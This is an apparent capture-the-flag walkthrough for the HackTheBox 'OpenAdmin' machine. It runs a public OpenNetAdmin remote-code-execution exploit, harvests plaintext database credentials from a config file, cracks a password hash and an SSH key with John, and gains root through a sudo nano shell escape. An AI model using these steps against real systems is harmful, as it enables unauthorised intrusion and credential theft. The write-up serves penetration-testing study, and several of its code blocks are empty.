# OpenAdmin

![](/files/-M7H9Lp5QLlf62x1xB4c)

OpenAdmin is a easy Linux  box that takes a look at CVE's, code review & Web Exploitation

## Recon

we start off by scanning OpenAdmin's IP `10.10.10.171` with `nmap`

```
nmap -T4 -A -v 10.10.10.171
```

From our scan we get the following results

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
```

Checking the WebPage we get nothing, So lets move on to DirBusting it

```
gobuster dir -u http://10.10.10.171/ -w DirBuster-Lists/directory-list-2.3-medium.txt
```

With this we get the following Directories

```

```

Checking out the directory `/music` we find a login page that redirects to `ona` (OpenNetAdmin)

we can now check for a public exploit for this

```
searchsploit opennetadmin
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                               |  Path

----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
```

We'll be using the `OpenNetAdmin 18.1.1 - Remote Code Execution` exploit

```
cp /usr/share/exploitdb/exploits/php/webapps/47691.sh .
dos2unix 47691.sh
./47691.sh http://10.10.10.171/ona/
```

And we have shell, now we can upgrade to a full shell with

```
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
```

## Exploit

Doing `cat /etc/passwd` lists the users on the system

```

```

After enumerating the box we come across a config `ona/local/config/database_settings.inc.php` that connects back to the db, and wouldn't you know it, it has some credentials

```
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
```

Using the credentials `jimmy:n1nj4W4rri0R!` let's see if we can get a ssh connection

```
ssh jimmy@10.10.10.171
```

and there we go! ssh

```
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

```

Going back and checking the `/var/www/` folder we find that only we can access `internal`

```
drwxr-xr-x  4 root     root     4096 Nov 22 18:15 .
drwxr-xr-x 14 root     root     4096 Nov 21 14:08 ..
drwxr-xr-x  6 www-data www-data 4096 Nov 22 15:59 html
drwxrwx---  2 jimmy    internal 4096 Nov 23 17:43 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21 16:07 ona -> /opt/ona/www

```

So let's take a look at what we have in here. Straight out of the box we see that `index.php` has some credentials

```
<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

```

Let's get our friend `John` to crack it, we see that its a `SHA512` hash so lets do

```
john hash --format=Raw-SHA512 --wordlist=/rockyou.txt --rules=jumbo
```

and we get the password `Revealed`

Checking `/var/www/internal/main.php` we find that it outputs `/home/joanna/.ssh/id_rsa` so we should get to that.

Doing&#x20;

```
netstat -ano
127.0.0.1:52846
```

Show's us we have port `52846` running locally, normally we'd `plink` to access it but let's take another approach today

we can use

```
curl -XPOST localhost:52846 -d "login&username=jimmy&password=Revealed" -L -v
curl localhost:52846/main.php -H "PHPSESSID=po0mav9u27apgapafu0r518aj2" -v
```

To login to the page, get the session ID and then use it to display main.php. from this we get

```

Great let's crack this SSH key&#x20;

```
/usr/share/john/ssh2john.py key > hashSSh
john hashSSh --wordlist=/rockyou.txt
bloodninjas      (key)

```

And we have another set of credentials now `joanna:bloodninjas`

```
ssh -i key joanna@10.10.10.171
id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
```

## Post Exploitation

Now as joanna we can try and escalate our priveleges, lets check out if we can do anything we `sudo -l` and yes we can

```
(ALL) NOPASSWD: /bin/nano /opt/priv
```

we can run `nano` on the file `/opt/priv` as sudo! sounds like we can bypass this with <https://gtfobins.github.io/gtfobins/nano/>

so lets run

```
sudo -u root /bin/nano /opt/priv
ctrl + shift + r
ctrl + shift + x
reset; sh 1>&0 2>&0
id
uid=0(root) gid=0(root) groups=0(root)
```

And we have Root!
